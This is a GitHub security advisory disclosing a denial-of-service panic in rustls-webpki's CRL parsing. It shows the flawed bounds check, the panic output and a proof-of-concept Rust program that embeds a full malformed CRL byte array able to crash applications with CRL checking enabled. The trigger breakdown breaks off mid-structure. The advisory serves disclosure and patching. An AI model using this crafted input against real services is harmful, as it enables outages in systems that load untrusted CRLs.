GitHub Security Advisory: GHSA-82j2-j2ch-gfr8
Package: rustls-webpki (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-125: Out-of-bounds Read
Vulnerable versions: >= 0.104.0-alpha.1, < 0.104.0-alpha.7
Patched in: 0.104.0-alpha.7

Summary: rustls-webpki: Denial of service via panic on malformed CRL BIT STRING

Details:
### Summary

`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.

**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.

> **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.

### Details
`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT
STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:

```rust
if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
    return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1];  // ← crash
```
misses the case `padding_bits == 0 && raw_bits.is_empty()`.
When a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):
- padding_bits = 0x00 — passes the > 7 check ✓
- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)
- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX
- raw_bits[usize::MAX] → panic


Debug:   thread 'main' panicked: attempt to subtract with overflow
Release: thread 'main' panicked: index out of bounds: the len is 0
         but the index is[PII_REDACTED][PII_REDACTED]

### PoC
Cargo.toml:
```
[dependencies]
rustls-webpki = "0.102.8"   # also reproduces on 0.103.12
```
src/main.rs:
```
fn main() {
    let crl: &[u8] = &[
        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x03, 0x02, 0x00, 0x00,
    ];
    // Panics — never returns
    let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}
```
output:
```
thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is[PII_REDACTED][PII_REDACTED]
```
#### Trigger
```
a0 10            -- cRLExtensions [0] EXPLICIT
  30 0e          -- SEQUENCE OF Extension
    30 0c        -- Extension SEQUENCE